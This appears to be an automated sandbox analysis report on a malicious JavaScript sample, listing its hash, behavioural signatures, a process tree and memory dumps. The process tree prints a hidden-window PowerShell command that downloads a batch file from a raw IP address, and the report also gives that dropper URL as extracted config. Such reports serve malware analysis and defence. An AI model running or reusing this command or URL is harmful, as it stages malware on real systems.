Analysis
- max time kernel
149s - max time network
24s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
27/10/2026, 21:09
General
- Target vQl0CQh7fkA6sH-k9u7Fe33i8ddswrwOkCaKuwLo6Jc.js
- Size 15KB
- Sample261027-zzptpsfz8x
- SHA256 bd097409087b7e403ab07fe4f6eec57b7de2f1d76cc2bc0e90268abb02e8e897
Malware Config
Extracted
-
ps1
-
exe.dropper
http://178.16.54.15/link/AUL_322.bat
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\vQl0CQh7fkA6sH-k9u7Fe33i8ddswrwOkCaKuwLo6Jc.js1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "(New-Object System.Net.WebClient).DownloadFile('http://178.16.54.15/link/AUL_322.bat', 'C:\Users\Admin\AppData\Local\Temp\AUL_322.bat')"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/1924-0-0x00007FFC3AC0F000-0x00007FFC3AC10000-memory.dmp
memory/1924-1-0x00007FFC3AA80000-0x00007FFC3B424000-memory.dmp
memory/1924-4-0x000002C2D4370000-0x000002C2D4392000-memory.dmp
memory/1924-5-0x00007FFC3AA80000-0x00007FFC3B424000-memory.dmp
memory/1924-6-0x00007FFC3AA80000-0x00007FFC3B424000-memory.dmp
memory/1924-7-0x00007FFC3AA80000-0x00007FFC3B424000-memory.dmp
memory/1924-8-0x00007FFC3AA80000-0x00007FFC3B424000-memory.dmp
memory/1924-9-0x00007FFC3AA80000-0x00007FFC3B424000-memory.dmp
memory/1924-10-0x00007FFC3AA80000-0x00007FFC3B424000-memory.dmp
memory/1924-11-0x00007FFC3AA80000-0x00007FFC3B424000-memory.dmp
memory/1924-13-0x00007FFC3AA80000-0x00007FFC3B424000-memory.dmp